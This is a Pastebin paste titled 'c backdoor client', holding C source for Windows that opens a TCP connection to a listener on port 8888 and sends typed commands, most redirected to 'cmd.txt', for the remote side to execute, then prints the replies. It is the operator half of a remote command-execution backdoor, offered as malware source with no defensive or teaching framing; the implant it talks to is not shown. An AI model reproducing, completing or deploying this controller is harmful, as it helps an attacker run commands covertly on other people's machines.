SHARE
TWEET

c backdoor client

a guest Apr 17th, 2015 393 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. Create a TCP socket
  3. */
  4.  
  5. #include<stdio.h>
  6. #include<winsock2.h>
  7.  
  8. #pragma comment(lib,"ws2_32.lib") //Winsock Library
  9.  
  10. int main(int argc, char *argv[])
  11. {
  12.         WSADATA wsa;
  13.         SOCKET s;
  14.         struct sockaddr_in server;
  15.         char *message;
  16.         char server_reply[100000];
  17.         char command[1000];
  18.         int recv_size, i, clean;
  19.  
  20.         for (i = 0; i < 1024; i++)
  21.                 server_reply[i] = '\0';
  22.  
  23.         printf("\nInitialising Winsock...");
  24.         if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
  25.         {
  26.                 printf("Failed. Error Code : %d", WSAGetLastError());
  27.                 return 1;
  28.         }
  29.  
  30.         printf("Initialised.\n");
  31.  
  32.         //Create a socket
  33.         if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
  34.         {
  35.                 printf("Could not create socket : %d", WSAGetLastError());
  36.         }
  37.  
  38.         printf("Socket created.\n");
  39.  
  40.  
  41.         server.sin_addr.s_addr = inet_addr("127.0.0.1");
  42.         server.sin_family = AF_INET;
  43.         server.sin_port = htons(8888);
  44.  
  45.         //Connect to remote server
  46.         if (connect(s, (struct sockaddr *)&server, sizeof(server)) < 0)
  47.         {
  48.                 puts("connect error");
  49.                 return 1;
  50.         }
  51.  
  52.         puts("Connected");
  53.  
  54.         //Send some data
  55.         while (1)
  56.         {
  57.                 printf("\n > ");
  58.                 gets(command);
  59.  
  60.                 printf("\nCommand: %s\nstrlen command : %d", command, strlen(command));
  61.                 getchar();
  62.                 if (strcmp(command, "chdir") == 0)
  63.                 {
  64.                         if (send(s, command, strlen(command), 0) < 0)
  65.                         {
  66.                                 puts("Send failed");
  67.                                 return 1;
  68.                         }
  69.                         puts("Data Send\n");
  70.  
  71.                         //Receive a reply from the server
  72.                         if ((recv_size = recv(s, server_reply, sizeof(server_reply), 0)) == SOCKET_ERROR)
  73.                         {
  74.                                 puts("recv failed");
  75.                         }
  76.  
  77.                         printf("Reply received\n : %d bytes\n", recv_size);
  78.  
  79.                         //Add a NULL terminating character to make it a proper string before printing
  80.  
  81.                         printf("%s\n", server_reply);
  82.  
  83.                         for (clean = 0; clean < 100000; clean++)
  84.                                 server_reply[clean] = '\0';
  85.  
  86.                         gets(command);
  87.                         if (send(s, command, strlen(command), 0) < 0)
  88.                         {
  89.                                 puts("Send failed");
  90.                                 return 1;
  91.                         }
  92.                         puts("Data Send\n");
  93.  
  94.                         if ((recv_size = recv(s, server_reply, sizeof(server_reply), 0)) == SOCKET_ERROR)
  95.                         {
  96.                                 puts("recv failed");
  97.                         }
  98.  
  99.                         printf("Reply received\n : %d bytes\n", recv_size);
  100.  
  101.                         //Add a NULL terminating character to make it a proper string before printing
  102.  
  103.                         printf("%s\n", server_reply);
  104.  
  105.                         for (clean = 0; clean < 100000; clean++)
  106.                                 server_reply[clean] = '\0';
  107.  
  108.                 }
  109.                 else
  110.                 {
  111.                         strcat(command, "> cmd.txt");
  112.                         printf("\nCommand: %s\nstrlen command : %d", command, strlen(command));
  113.  
  114.  
  115.                         if (send(s, command, strlen(command), 0) < 0)
  116.                         {
  117.                                 puts("Send failed");
  118.                                 return 1;
  119.                         }
  120.                         puts("Data Send\n");
  121.  
  122.                         //Receive a reply from the server
  123.                         if ((recv_size = recv(s, server_reply, sizeof(server_reply), 0)) == SOCKET_ERROR)
  124.                         {
  125.                                 puts("recv failed");
  126.                         }
  127.  
  128.                         printf("Reply received\n : %d bytes\n", recv_size);
  129.  
  130.                         //Add a NULL terminating character to make it a proper string before printing
  131.  
  132.                         printf("%s\n", server_reply);
  133.  
  134.                         for (clean = 0; clean < 100000; clean++)
  135.                                 server_reply[clean] = '\0';
  136.  
  137.                 }
  138.         }
  139.         return 0;
  140. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top